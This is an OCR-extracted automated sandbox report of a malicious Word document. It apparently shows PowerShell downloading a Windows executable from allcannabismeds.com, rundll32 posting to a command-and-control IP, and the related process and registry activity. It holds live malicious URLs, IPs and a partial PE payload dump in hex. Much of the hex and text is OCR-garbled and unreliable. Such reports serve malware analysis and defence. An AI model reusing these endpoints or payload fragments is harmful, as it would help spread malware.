Jan 13, 2021 16:31:49.500751019 CET 49167
Jan 13, 2021 16:31:49.500874043 CET 80
Jan 13, 2021 16:31:49.500899076 CET 80
Jan 13, 2021 16:31:49.500921965 CET 49167
Jan 13, 2021 16:31:49.500921965 CET 80
Jan 13, 2021 16:31:49.500952959 CET 80
Jan 13, 2021 16:31:49.500962973 CET 49167
Jan 13, 2021 16:31:49.500981092 CET 80
Jan 13, 2021 16:31:49.501003027 CET 80
Jan 13, 2021 16:31:49.501025915 CET 80
Jan 13, 2021 16:31:49.501043081 CET 49167
Jan 13, 2021 16:31:49.501049995 CET 80
Jan 13, 2021 16:31:49.501065969 CET 49167
Jan 13, 2021 16:31:49.501100063 CET 80
Jan 13, 2021 16:31:49.501122952 CET 80
Jan 13, 2021 16:31:49.501144886 CET 49167
Jan 13, 2021 16:31:49.501151085 CET 80
Jan 13, 2021 16:31:49.501176119 CET 80
Jan 13, 2021 16:31:49.501194954 CET 49167
Jan 13, 2021 16:31:49.501247883 CET 80
Jan 13, 2021 16:31:49.501286983 CET 49167
Jan 13, 2021 16:31:49.501425982 CET 80
Jan 13, 2021 16:31:49.501446009 CET 80
Jan 13, 2021 16:31:49.501457930 CET 80
Jan 13, 2021 16:31:49.501471043 CET 80
Jan 13, 2021 16:31:49.501487017 CET 80

UDP Packets

Timestamp Source Port
Jan 13, 2021 16:31:48.641870975 CET 52197

Jan 13, 2021 16:31:48.805665016 CET 53

DNS Queries

Timestamp Source IP Dest IP

Jan 13, 2021 16:31:48.641870975 CET 192.168.2.22 8.8.8.8
DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code
Jan 13, 2021 8.8.8.8 192.168.2.22 0xd372 No error (0)
16:31:48.805665016

CET

HTTP Request Dependency Graph

e allcannabismeds.com
e 152.170.79.100

HTTP Packets

Session ID Source IP Source Port Destination IP

0 192.168.2.22 49167 35.208.69.64 80

Copyright null 2021

Dest Port Source IP
80 192.168.2.22
49167 35.208.69.64
49167 35.208.69.64
80 192.168.2.22
49167 35.208.69.64
49167 35.208.69.64
80 192.168.2.22
49167 35.208.69.64
49167 35.208.69.64
80 192.168.2.22
49167 35.208.69.64
49167 35.208.69.64
80 192.168.2.22
49167 35.208.69.64
49167 35.208.69.64
80 192.168.2.22
49167 35.208.69.64
49167 35.208.69.64
49167 35.208.69.64
80 192.168.2.22
49167 35.208.69.64
80 192.168.2.22
49167 35.208.69.64
49167 35.208.69.64
80 192.168.2.22
49167 35.208.69.64
49167 35.208.69.64
80 192.168.2.22
49167 35.208.69.64
80 192.168.2.22
49167 35.208.69.64
49167 35.208.69.64
49167 35.208.69.64
49167 35.208.69.64
49167 35.208.69.64
Dest Port Source IP
53 192.168.2.22
52197 8.8.8.8
Trans ID OP Code
0xd372 Standard query
(0)

Name CName

allcannabi

smeds.com

Destination Port Process

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Name

allcannabi
smeds.com

Address
35.208.69.64

Dest IP

35.208.69.64
192.168.2.22
192.168.2.22
35.208.69.64
192.168.2.22
192.168.2.22
35.208.69.64
192.168.2.22
192.168.2.22
35.208.69.64
192.168.2.22
192.168.2.22
35.208.69.64
192.168.2.22
192.168.2.22
35.208.69.64
192.168.2.22
192.168.2.22
192.168.2.22
35.208.69.64
192.168.2.22
35.208.69.64
192.168.2.22
192.168.2.22
35.208.69.64
192.168.2.22
192.168.2.22
35.208.69.64
192.168.2.22
35.208.69.64
192.168.2.22
192.168.2.22
192.168.2.22
192.168.2.22
192.168.2.22

Dest IP
8.8.8.8
192.168.2.22

Type
A (IP address)

Type
A (IP address)

Class

IN (0x0001)

Class

IN (0x0001)
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kBytes

Timestamp transferred

Jan 13, 2021 0

16:31:48.980995893 CET

Jan 13, 2021 1

16:31:49.179512978 CET

Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Jan 13, 2021 450

16:32:09.207375050 CET

Copyright null 2021

Direction

ouT

Source Port

49168

Direction

ouT

Data

GET /unraid-map/ZZmé/ HTTP/1.1
Host: allcannabismeds.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 13 Jan 2021 15:31:49 GMT

Content-Type: application/octet-stream

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Expires: Wed, 13 Jan 2021 15:31:49 GMT

Content-Disposition: attachment; filename="NK05DJ2yiA.dIlI"

Content-Transfer-Encoding: binary

Set-Cookie: 5fff12651be7e=1610551909; expires=Wed, 13-Jan-2021 15:32:49 GMT; Max-Age=60; path=/

Last-Modified: Wed, 13 Jan 2021 15:31:49 GMT

X-Httpd: 1

Host-Header: 6b7412fh82ca5edfd0917e3957f05d89

X-Proxy-Cache: MISS

X-Proxy-Cache-Info: W NC:000000 UP:SKIP_CACHE_NO_CACHE

Data Raw: 66 63 61 30 0d Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 Oe 1f ba Oe 00
b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44
4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f1 f3 83 42 b5 92 ed 11 b5 92 ed 11 b5 92 ed 11 al f9 ee 10 be
92edl1l1alf9e8103d92ed1lalfded 10a7 92 ed 11 4d e2 €9 10 ba 92 ed 11 4d e2 ee 10 a4 92 ed 11 4d e2 e8 10
9492ed 11alfdec 10b2 92 ed 11 b592 ec 113992 ed 11 02 e3e810hb6 92 ed 11 02 e3 ed 10b4 92 ed 11023121
1b492ed11b592 7a11 b4 92 ed 11 02 e3 ef 10 b4 92 ed 11 52 69 63 68 b5 92 ed 11 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 50 45 00 00 4c 01 05 00 16 00 ed 5f 00 00 00 00 00 00 00 00 €0 00 02 21 Ob 01 Oe 1b 00 10 04 00 00 9e
02 00 00 00 00 00 81 3c 00 00 00 10 00 00 00 20 04 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06
00 00 00 00 00 00 00 00 e0 06 00 00 04 00 00 00 00 00 00 02 00 00 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00
00 00 00 00 10 00 00 00 60 b7 04 00 50 00 00 00 b0 b7 04 00 50 00 00 00 00 fO 04 00 cO b3 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 b0 06 00 94 25 00 00 3¢ a2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 90 a2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 04 00 3¢ 02 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 63 Of 04 00 00 10 00 00 00 10 04 00
00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 €0 a3 00 00 00 20 04 00 00 a4 00
00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 1e 00 00 00 dO 04 00 00 Oc
00 00 00 b8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 cO b3 01 00 00 fO 04 00 00 b
401 00 00 c4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 94 25 00 00 00 b0 06

Data Ascii: fcaOMZ@!L!This program cannot be run in DOS mode.$B=MMM9zRichPEL_!< ‘PP%<T@ <.textc ".rdata
@@.data@.rsrc@@.reloc%

Destination IP Destination Port Process

152.170.79.100 80 C:\Windows\SysWOW64\rundll32.exe

Data

POST /tkvop2zz2se/Ovkwo/ HTTP/1.1

DNT: 0

Referer: 152.170.79.100/tkvop2zz2se/Ovkwo/

Content-Type: multipart/form-data; boundary=--------------- cRAzC1Lzwrnqgrlh

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 152.170.79.100

Content-Length: 5588

Connection: Keep-Alive

Cache-Control: no-cache
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Timestamp

Jan 13, 2021

kBytes
transferred Direction

457 IN

16:32:10.358117104 CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Click to jump to process

Data

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 13 Jan 2021 15:32:10 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 62 33 34 0d 0a 90 ae 2f 6d ab 65 29 ef 32 0f fb be 51 ed 2a eb 75 6e 78 al 65 ed 94 ed c7 3f ee aa 6f d6 5¢ fO
c9 cd 84 22 8a la ae ab 14 cb cd 0d c7 17 5f a9 19 14 6¢ a7 66 87 1b 42 df 01 c8 3a 16 fd b3 68 b4 80 95 4b b3 6d 17 59
03 7f 96 aa €3 7f 87 d9 d9 6d 3e 51 a0 c1 3c 32 1c 69 80 0d 7c 4d c1 3d 35 6¢ d5 de dd df c6 54 00 c¢7 18 a7 c1 df 61 9d
8c e6 abea 17 e4 db 60 db 00 9f 90 e6 da b2 9a 50 1d 5d ce 58 e5 3 74 3b 24 09 41 ab 0f dO bf 19 d4 32 f2 eb da 24 9b
90 5¢ 7f 93 75 88 el bc 99 e9 db a4 d3 bc 62 53 cc 01 7a b0 46 €9 4d 35 4f 78 d6 db 55 06 f2 f4 ¢5 20 40 44 d5 76 18 b5
ef 94 77 3d cd 8d 5d 19 fd a3 09 d7 b4 79 9b d1 57 ed ed 48 ed bd 39 b8 ab 4a 17 a2 2d e6 70 29 49 a4 9a 34 92 2b b8 ac
91 cb 23 02 c0 82 dd 87 a5 65 Oe 17 f8 8e 7c d6 1e 4d 09 34 70 ef 88 7c 68 a3 71 11 70 a2 c1 d3 ba 9f 77 f8 4f 95 35 7a
76 93 fd 4b d4 Oc b8 64 46 f4 5b 5¢ 7b 25 cb 90 2a 9b 3a 0f 4¢c 91 6f 98 7b ee eb e8 b8 e3 1f 2a d2 b5 69 03 51 db 2f ea 63
el 73 1f fd 82 96 1d 28 76 97 32 cfa7 f2 54 60 f5 e4 4d b7 5f e2 05 60 03 ee 5e e6 3f f1 24 35 a0 14 32 70 79 29 04 5d 14
94 bc 37 1b af 9b 23 35 d8 f4 5a eb 78 a5 96 55 70 1c 5a 27 ce 05 49 7b 72 e3 30 84 5a 3c 48 a6 23 al 0d f2 5b fe f9 08
37 8f27 92 63 17 81 6a 04 2c 11 1d de a7 Oa 3d 14 8e f6 7b 9c a6 dd fd 84 8f 34 7c 27 cd 2c 69 b2 4c ce 51 44 05 bc 4f 52
b5 98 73 43 c9 c7 db 66 6b 98 4e 1d 00 b7 f4 41 16 db ee 3e 83 2e a5 dd fd eb c6 76 8d cc 66 64 aa b3 e6 47 45 87 b6 al
99 b0 48 32 d0 c3 18 72 2b 7f 6e 4e 3d 28 73 41 bc cb 9f 23 44 64 d0 al ef c9 be 16 28 c1 ee 88 8c 9a a7 5f 43 e3 02 6
dc 19 ¢8 57 32 f1 5d 66 16 13 91 88 4e b4 8a b5 22 61 e8 cd a3 ¢8 41 12 f5 10 ca 13 75 33 da 02 94 8a cc c4 8f f0 b7 31
d6 ec 31 83 e5 26 bc ab b5 05 54 a0 a9 4b 58 6e 67 €3 1le le f6 fa 7b ab 21 9b 27 13 fe f4 25 b6 40 3d 7b a5 83 b7 e5 Oe
59 62 06 a5 72 2e bb 2c 19 42 1a b6 cb b8 6a 87 14 b4 02 14 4e a5 fe b8 c7 6¢ fe a3 a5 95 29 3b 20 82 e3 50 ac f0 77 fb
8c 6¢ c2 6b e7 fd ce f1 80 b0 b6 eb 9d d6 a4 ee 77 3a 56 55 97 fe 0a 59 06 68 fO0 70 8b 5¢c 79 21 95 d8 fc 76 05 e7 07 6f ch
7b 24 ff 05 b0 48 a6 7e 0d 7d Ob ec 10 fb 5e 33 3c 22 da 4b 36 99 fe b4 bd 69 a5 e2 fc c2 bb dc 4a d9 e9 54 42 a9 7b 27
82 6f fa d4 50 44 67 bb d3 8b 02 6f 8b 48 d7 d4 dd 60 ba 76 8a 99 83 dc 9b 7c 6e 86 15 cc f9 fe 86 18 3d 98 5a 81 b4 60
77 d8 f3 39 e2 5b 3f 6¢ da ee 76 55 2d fb 12 f9 46 4b 9e af b9 db 60 57 55 97 46 5d al 24 74 8f 51 b4 54 c9 67 76 be af 16
53 4f Ob 7b 24 6 d4 9d ee 75 93 0d c0 02 ee 40 c2 46 ae 20 f4 ff 48 99 d2 58 16 29 12 63 85 74 1b 17 52 5a af 9c 9e 7c
8a c4 42 da da 09 4f 14 28 2e e0 6e 3e 47 60 18 28 24 d6 c1 46 2c b4 26 2b cc 80 c6 b5 48 c9 2c 5f 86 64 fe 78 ad ee 1c
2d 08 ce 2d cd e5 de 85 02 1f 6b 42 4a 1f 05 cd a2 c4 43 3e 18 ff a2 80 91 46 1c 4d 18 68 4e 16 08 d2 2d 12 04 65 7a 75
11 d3 f4 52 2a 41 e5 e8 06 7c 36 59 bf e2 67 40 29 c4 df ab f3 78 10 73 ec 32 d2 5¢c a9 6¢ 8b 15 82 2b c2 a3 25 11 3 49
e4 9d 35 56 38 13 60 6d 98 88 83 15 bf 12 c6 bd 0d dc 7e c5 e8 fc 10 bf 36 5b 5f b9 8e e2 41 3c af 35 4f ¢5 39 5e 14 a5 7e
f1 9e 61 48 93 ec d1 dd 68 bf d9 9f 19 a7 08 44 45 90 fb 99 2e bb 19 82 a2 f6 ab db 47 c2 c3 el 7b 4e b8 el b9 21 03 26 6
9 56 4e f9 8d 3e 39 27 23 4a 06 87 94 d1 94 7e ef d7 41 9c 25 b4 dO 76 d7 a7 a8 68 6b bc 9b 05 3d 58 6b c2 7b 54 2b 83
58 ae ff bl e7 bb el bc 37 3c a2 b4 55 82 75 2e 4a 62 56 1c f2 ee cd 90 e8 a9 11 3b 0d 5b 6d 8b 06 €9 97 d4 43 aa 00 9d
26 33 cf193282dd 42 21 83 02 aa a5 12 3d cf 55 29 1b c9 d4 5 2d db 8c 3b 4f c8 dc

Data Ascii: b34/me)2Q*unxe?o\"_IfB:hKmYm>Q<2i|M=5ITa P]Xt;$A2$\ubSzFM50xU @Dvw=]yWH9J-p)|4+#e|M4p|hq
pwO5zvKdF[\{%*:Lo{*iQ/cs(v2T M_ "?$52py)]7#5ZxUpZ'{rOZ<H#[7'cj,={4|',ILQDORSCIKNA>.VfdGEH2r+nN=(sA#
Dd(_CW2]fN"aAu311&TKXng{!"%@={Ybr.,BjNI); Pwikw:VUYhp\y!vo{$H~}"3<"K6iJTB{'o0PDgoH"v|n=Z"w9[?IvU-FK'W
UF]$tQTgvSO{$u@F HX)ctRZ|BO(.n>G ($F,&+H,_dx--kBJC>FMhN-ezuR*A|6Yg@)xs2\lI+%I5V8 m~6] _A<509
A~aHhDE.G{N!&IVN>9'#J~A%Vhk=Xk{T+X7<Uu.JbV;[mC&32B!=U)-;0

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
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System Behavior

Analysis Process: WINWORD.EXE PID: 648 Parent PID: 584

General

Start time: 16:31:41

Start date: 13/01/2021

Path: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
Imagebase: 0x13f990000

File size: 1424032 bytes

MDS5 hash: 95C38D04597050285A18F66039EDB456

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7FEE93926B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DF763B8175BEEE3EDD.TMP success or wait 1 7FEE92B9ACO unknown
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1 7FEE92CE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 1 7FEE92CE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 1 7FEE92CE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEE92B9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency success or wait 1 7FEE92B9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery success or wait 1 7FEE92B9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F7262 success or wait 1 7FEE92B9ACO unknown

Key Value Created
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Microsoft\Shared
Tools\Panose

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F7262

Copyright null 2021

Name

Cambria Math

Tahoma

F7262

Type

binary

binary

binary

Data
02 04 05 03 05 04 06 03 02 04

02 0B 06 04 03 05 04 04 02 04

04 00 00 00 88 02 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
62 21 EC B7 0OC EA D6 01 62 72 OF
00 62 72 OF 00 00 00 00 00 DB 04 00
00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

1

1

7FEE92B9ACO unknown

7FEE92B9ACO unknown

7FEE92B9ACO unknown
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Key Path

Key Value Modified

Key Path

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa
re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F7262

Copyright null 2021

Name

ProductFiles

ProductFiles

F7262

Name

Type

dword

dword

binary

Type

00 00 00 00 00 00 00 00 00 00 00 00
B 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 FF FF FF FF

Old Data
1378680878

1378680879

04 00 00 00 88 02 00 00 2A 00
00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D
00 67 00 73 00 2E 00 68 00 74
00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 62
21 ECB70C EAD6 0162 72
OF 00 62 72 OF 00 00 00 00
00 DB 04 00 00 02 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

New Data

1378680879

1378680880

04 00 00 00 88 02 00 00 2A 00 success or wait

00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D
00 67 00 73 00 2E 00 68 00 74
00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 62 72 OF
00 62 72 OF 00 00 00 00 00
DB 04 00 00 02 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 FF
FF FF FF 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Completion

success or wait

success or wait

Count Address

Count Address

1

1

1

Source
Symbol

Source
Symbol

7FEE92B9ACO unknown

7FEE92B9ACO unknown

7FEE92B9ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
AP QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
